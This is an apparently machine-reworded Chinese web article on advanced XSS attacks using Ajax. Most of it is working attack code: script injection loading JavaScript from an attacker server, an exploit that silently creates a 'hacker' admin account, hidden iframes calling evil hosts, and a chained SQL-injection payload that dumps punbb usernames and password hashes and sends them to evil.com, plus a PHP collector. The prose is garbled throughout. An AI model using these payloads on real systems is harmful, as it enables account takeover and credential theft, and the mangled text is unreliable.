运用Ajax里的高级XSS技术pc软件 文章资讯 手机软件

您当前的位置→图文中心网站专题网站建设运用Ajax里的高级XSS技术

运用Ajax里的高级XSS技术


2009/3/31  编辑:佚名 来源:本站整理  关键词:

运用Ajax里的高级XSS技术

 

 0.说明
        1.利用xss的javascript劫持
        2.远程调用劫持代码
        3.利用Ajax做更多的事:一个基于XMLHttpRequest的高级范例
        4.全自动运行
        5.对Ajax站点的反应影响
        6.一般技术的改善潜力
        7.Magix_quotes_pgc带来的难题
        8.永久型xss
        9.xss与Sql Injection的配合
        9.1.xss漏洞
        9.2.Sql注入漏洞
        9.3.编写利用必备工具
        9.4.攻击!
        A.解决处理xss问题
        B.结束语
0.        说明:
    大多数人因为两个原因而认为xss漏洞不够强大。 其中一个原因:有可能您只能利用它来盗取cookie, 而另一个原因则是:您(错误地)认为(利用)它有请求需要目标用鼠标点击特定的连载或者访问特定的网站。 就在这篇文章中我将要证明利用xss漏洞能做比盗取cookie多得多的事情, 即便您仍然有请求需要目标去用鼠标点击特定的链接。 一种被称为Ajax的新技术正就在网络net中蔓延。 Ajax技术允许您利用javascript来发送sendHTTP请求。 一个不复杂的没有ajax功能的网站是像这样的(工作模式):
客户端请求 - 服务器响应 - 返回内容 - 客户端
而ajax的(工作模式)类似于:
客户端请求 - javascript - 服务器响应 - 数据信息 - javascript处理
我将以展示怎样利用xss漏洞劫持javascript函数为开头, (进而)我们我自己将看到网站过于信任javascript而造成的反应影响以及利用这种技术(达到的)各种有可能性。
就在我们我自己现在开始之前, 您就一定要做几件事:
        布置设置magic_quotes_gpc = off
        允许javascript就在您的浏览器中执行
        从我的网站上下载这些例子(有这样打广告的??)
1.        利用xss劫持javascript
让我们我自己清晰的了解它, 这是一个有xss漏洞的php网页代码:
<html> 
<head> 
<title>Javascript Hijack with XSS</title> 
<script type="text/javascript" src="script.js"></script> 
</head> 
<body> 
<?php echo $_GET["xss"]; ?> 
<input type="Submit" onClick="javascript:Hello()" value="Say Hello" /> 
</body> 
</html>
这里还是有一个javascript脚本文件程序, 代码为:
function Hello() 

alert("Hi there"); 
}
这非常不复杂, 我们我自己拥有一个包含一个按钮按键的网页, 当用鼠标点击这个按钮按键就一定会弹出一个对话框“Hi there”.
http://[host]/?xss=<script>function Hello() { alert("hijacked"); } </script>
Ok, 现就在我们我自己就在用鼠标点击一下我们我自己的按钮按键, 发生了什么?我们我自己没有得到“Hi there”, 而得到了“hijacked”!这意味着我们我自己能利用xss漏洞劫持javascript代码, 当用户调用函数时回执行我们我自己的代码而并非本来的。
好, 我们我自己已经知道了就在url中重建javascript函数, 但是如果您有请求需要重建很多函数, 可以通过url这样做会使您完蛋的。 所以让我们我自己重建一个新的javascript文件程序来包含我们我自己有请求需要的一切。
function Hello() 

alert("Hijack from remote"); 
}
之后我们我自己像这样提交url:
http://[host]/?xss=<script type="text/javascript" src="http://[evil server]/hijack.js"></script>
让后我们我自己再次用鼠标点击我们我自己的按钮按键发生了什么?“Hijack from remote”! Ok, (到此为止)我们我自己知道了怎样对的的劫持javascript函数。
2.        利用Ajax做更多的事:XMLHttpRequest的高级运用实例
为了演示这个技术我编写了一个适用于教学的实例, (请)到我的网站下载。 我将会应用它的部分代码并且解释他们。 它是一个不复杂的管理员用来添加新管理员或者就在博客上发布出来消息的控制面板。 就在页面add_message.php?author=[xss]有一个xss漏洞,这是我们我自己将用来攻击的地方!
我编写了一个轻量级的exploit来劫持javascript函数, 代码为:
function createRequest() 

var xmlHttp; 
if(window.ActiveXObject) 

xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); 

else if(window.XMLHttpRequest) 

xmlHttp = new XMLHttpRequest(); 


return xmlHttp; 


function validateForm() 

var xmlHttp; 

xmlHttp = createRequest(); 
url = "add_admin.php?login=hacker&password=hacker&email= hacker"; 
xmlHttp.open("GET", url, true); 
xmlHttp.send(null); 
document.location = "add_message.php"; 
}
非常好, 要利用这个漏洞我们我自己有请求需要管理员访问这个url:
http://[host]/add_message?author=http://[host]/?xss= 
<script type="text/javascript" src="http://[evil server]/exploit.js"></script>
当他用鼠标点击提交按钮按键时我们我自己的恶意代码会添加一个账户密码都为“hacker”的用户到数据信息库里。 我们我自己能使目标运行我们我自己的恶意代码!但任然有请求需要用户用鼠标点击按钮按键……
3.        全自动执行
上面的例子总是有请求需要目标用鼠标点击一个按钮按键来完成我们我自己的攻击。 这里有一个解决处理(方案)给您:
window.onload = function initHijack() 

[...] 
}
我们我自己的攻击将会就在目标用鼠标点击特定链接后全自动完成。 您也能就在目标关闭页面时执行一些javascript代码:
window.unload = function initHijack() 

[...] 
}
4.        Ajax代码模板
这里有一些可以说是的样例代码能应付您编写javascript exploit:
GET 请求:
var url = "page.php?param1=value1¶m2=value2"; 
http.open("GET", url, true); 
http.onreadystatechange = function() { 
if(http.readyState == 4 && http.status == 200) { 
alert(http.responseText); 


http.send(null);
POST 请求:
var url = "page.php"; 
var params = "param1=value1¶m2=value2"; 
http.open("POST", url, true); 

http.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); 
http.setRequestHeader("Content-length", params.length); 
http.setRequestHeader("Connection", "close"); 

http.onreadystatechange = function() { 
if(http.readyState == 4 && http.status == 200) { 
alert(http.responseText); 


http.send(params);
提示:就在POST请求里, 您就一定要布置设置一些HTTP头信息。 (另外, )使用open()发送sendGET请求。
function RemoteGetWithOpen() 

open("http://www.evilserver.com/ajaxhack/evil.php?param1=value1¶;m2=value2"); 
}
利用iframe发送sendGET请求
function CreateAbritraryIframe() 

// <iframe src="http://www.google.com/"; style="visibility: hidden;" name="exploit"> 
var objBody = document.getElementsByTagName("body")[0]; 
var objIframe = document.createElement("iframe"); 
// we set the "src" attribute 
var attribut_src = document.createAttribute("src"); 
attribut_src.nodeValue = "http://www.evilserver.com/[...]"; 
objIframe.setAttributeNode(attribut_src); 
// we hide it 
var attribut_visibility = document.createAttribute("style"); 
attribut_visibility.nodeValue = "visibility:hidden;"; 
objIframe.setAttributeNode(attribut_visibility); 
// we set a name to our frame 
var attribut_name = document.createAttribute("name"); 
attribut_name.nodeValue = "exploit"; 
objIframe.setAttributeNode(attribut_name); 
objBody.appendChild(objIframe); 
}
5.        对Ajax站点的反应影响。 (由于资料是结构图复制到txt中, 太混乱, 翻译时被朕掐掉, 罪过, 罪过)
6.        我们我自己能做的事儿:
一下是一个我们我自己大多数时候利用php程序中xss漏洞能做的事的清单:
1.        更改用户资料
2.        删除用户
3.        添加或更改用户
4.        窃取(用户)输入
5.        窃取cookie
6.        让用户提交恶意请求
7.        (利用)特殊的访问(权限)下载文件程序
如果您非常幸运:
1.        让用户执行php代码
2.        让用户上传(恶意文件程序)
7.        Magic_quotes_gpc带来的麻烦
就在文章开头我让大家把magic_quote_gpc布置设置成off的原因是:如果您提交这样的请求:
http://[host]/page.php?xss=<script src="evil.js"></script>
它会变成:
http://[host]/page.php?xss=<script src=http://[evil server]/evilscript.js></script>
他能被大多数浏览器对的地解释!
8.        永久型xss(现在开始我不明白老外这么称呼的原因, 但是看了这部分后发现就是我们国家内所说的存储型的xss漏洞, 所有下文以存储型呼之)
存储型xss就是说xss漏洞能持续停留就在网站上且代码能够就在任意一个时候访问时执行。 这依赖于您来进行xss攻击的详细位置, 这一点非常关键。 举个最坏的例子:(比如)索引页(通常就是指首页), 这意味着每个访问网站的人都将执行您的恶意javascript代码而称为牺牲品。
9.        xss与Sql注入技术的配合
9.1 xss漏洞
9.2 Sql 注入漏洞
(由于这两个部分很太基础, 掐掉, 阿弥陀佛)
9.3 exploit编程
function createHttpRequest() 

var xmlHttp; 
if(window.ActiveXObject) 

xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); 

else if(window.XMLHttpRequest) 

xmlHttp = new XMLHttpRequest(); 


return xmlHttp; 


window.onload = function initAttack() 

var xmlHttp; 
var params = "find_user=Submit+search&form[email]=' UNION SELECT 0,payday_users.username, 
payday_users.password,0,0,0,0,0 FROM payday_users INTO OUTFILE '/var/www/punbb_exploited.txt'#"; 
xmlHttp = createHttpRequest(); 
xmlHttp.open("POST", "/punbb/upload/admin_users.php", true); 
xmlHttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); 
xmlHttp.setRequestHeader("Content-length", params.length); 
xmlHttp.setRequestHeader("Connection", "close"); 
xmlHttp.send(params); 

var objBody = document.getElementsByTagName("body")[0]; 
var objIframe = document.createElement("iframe"); 
// we set the "src" attribute 
var attribut_src = document.createAttribute("src"); 
attribut_src.nodeValue = "http://www.evil.com/exploit.php?page=http://www.good.com/punbb_exploited.txt";; 
objIframe.setAttributeNode(attribut_src); 
// we hide it 
var attribut_visibility = document.createAttribute("style"); 
attribut_visibility.nodeValue = "visibility:hidden;"; 
objIframe.setAttributeNode(attribut_visibility); 
// we set a name to our frame 
var attribut_name = document.createAttribute("name"); 
attribut_name.nodeValue = "exploit"; 
objIframe.setAttributeNode(attribut_name); 
objBody.appendChild(objIframe); 

return true; 
}
到了这里您应该能理解javascript要做什么, 但我还是要啰嗦一点:脚本发送send一个http请求来攻击某个Sql注入漏洞, 当获取数据信息后提交给我们我自己服务器上的代码输出成文件程序。 代码如下:
if(isset($_GET['page'])) 

$content = file_get_contents($_GET['page']); 
$open = fopen("hash.txt", "a+"); 
fwrite($open, $content); 
fclose($open); 

?>
 

相关文章
  • NASA证实人类能运用古代技术变成有超能力的人
  • 王者荣耀花木兰技能运用技巧全面分析
  • 【美军成功运用“遥视”】找到在非洲失踪的飞机
  • cfbarrett翔龙免费领取,cf8月精英军火库怎么成为幸运用户
  • 运用win2008任务计划功能
  • 运用Mysql语句生成后门具体方法
  • 运用Ajax里的高级XSS技术
  • 发表评论
    阅读排行
    相关热门
    网站帮助 - 广告合作 - 下载声明 - 网站地图